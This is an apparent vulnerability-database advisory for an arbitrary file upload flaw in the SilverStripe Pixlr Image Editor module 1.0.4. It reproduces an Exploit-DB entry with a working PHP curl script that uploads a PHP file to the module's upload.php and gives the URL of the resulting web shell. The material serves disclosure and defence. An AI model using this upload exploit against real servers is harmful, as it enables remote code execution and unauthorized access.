Pixlr Image Editor Arbitrary File Upload Vulnerability

vendor:

Pixlr Image Editor

by:

Sammy FORGIT

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Pixlr Image Editor

Affected Version From: 1.0.4

Affected Version To: 1.0.4

Patch Exists: NO

Related CWE: N/A

CPE: a:silverstripe:pixlr_image_editor

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2013

Pixlr Image Editor Arbitrary File Upload Vulnerability

Pixlr Image Editor is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that untrusted data is not allowed to be uploaded.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/54172/info

Pixlr Image Editor is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Pixlr Image Editor 1.0.4 is vulnerable; other versions may also be affected. 

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1  [+] Support e-mail  : submit[at]1337day.com                         1
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##################################################
# Description : Silverstripe Modules - Pixlr Image Editor Arbitrary File Upload Vulnerability
# Version : 1.0.4
# Link : http://www.silverstripe.org/pixlr-image-editor-module/
# Software : http://www.silverstripe.org/assets/modules/stable/svn.github.com-silverstripe-pixlr.git-r54.tar.gz
# Date : 21-06-2012
# Google Dork : not discover
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.exemple.com/silverstripe/pixlr/thirdparty/supa/upload.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://www.exemple.com/silverstripe/pixlr/thirdparty/supa/data/lo.php

lo.php
<?php
phpinfo();
?>


# Site : 1337day.com Inj3ct0r Exploit Database